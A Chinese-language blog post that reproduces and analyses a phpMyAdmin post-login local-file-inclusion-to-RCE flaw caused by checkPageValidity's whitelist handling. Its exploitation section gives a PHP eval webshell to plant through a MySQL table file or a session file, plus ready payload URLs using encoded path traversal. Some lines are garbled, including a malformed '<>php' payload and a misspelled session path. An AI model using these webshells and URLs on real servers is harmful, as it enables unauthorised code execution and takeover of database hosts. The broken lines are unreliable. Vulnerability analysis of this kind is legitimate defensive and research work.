phpMyAdmin后台LFI->RCE
前言
复现了一波alphalab师傅针对phpMyAdmin后台从LFI->RCE 。 发现他对于target白名单的绕过分析存在误点。
环境
操作系统:linux
php版本:5.6
web中间件:Apache2
版本影响
core类checkPageValidity方法参数引用值操作不当造成LFI->RCE
漏洞分析
漏洞触发点在/index.php第12行,target值可控
触发include文件包含需要满足if四个判断
&& is_string($_REQUEST['target']) //1.满足target是字符串类型
&& ! preg_match('/^index/', $_REQUEST['target']) //Target值不是以index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) //Target值不为target_blacklist中的值('import.php', 'export.php')
&& Core::checkPageValidity($_REQUEST['target']) //Target值满足checkPageValidity方法白名单
前三个判断写死没有利用的价值,主要分析Core
类checkPageValidity($_REQUEST['target'])
方法
跟进core类checkPageValidity
方法,/phpmyadmin/libraries/classes/core.php
第443行
首先对whitelist
白名单进行赋值,使用两次mb_substr
对$_page
即$_REQUEST['target']
进行截取,并判断$_page
是否在白名单中。
其实这里有意思的是程序员的本意应该是对$_REQUEST['target']
进行文件字段截取,但是$page
引用值在该方法中赋值给了$_page
,导致$page
被架空。这也是导致LFI
被能够被触发的关键点
漏洞利用
利用mysql的data文件
在
testDB
中创建名为abc
表,表中字段写入<?php eval($_GET[‘z’]); ?>
路径查询
在sql界面输入查询语句show variables like '%datadir%';
获取abc
表文件路径在
/var/lib/mysql/testdb/abc.frm
中成功写入一句话payload
http://127.0.0.1/phpmyadmin/index.php?z=phpinfo();&target=sql.php%253f/../../../../../../var/lib/mysql/testdb/abc.frm
phpMyadmin session利用
- 在sql界面输入查询语句
select “<>php eval($_GET[z]); exit(); ?>”;
(可在浏览器控制台查看session文件名称)
在lamp环境下/var/lib/php5/sessoons//sess_fvov0ts2lgmbqt6j4anb95st5h1e5chu
文件中成功下入一句话木马
- payload
http://127.0.0.1/phpmyadmin/index.php?z=phpinfo();&target=server_sql.php?/../../../../../var/lib/php5/sessions/sess_fvov0ts2lgmbqt6j4anb95st5h1e5chu
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!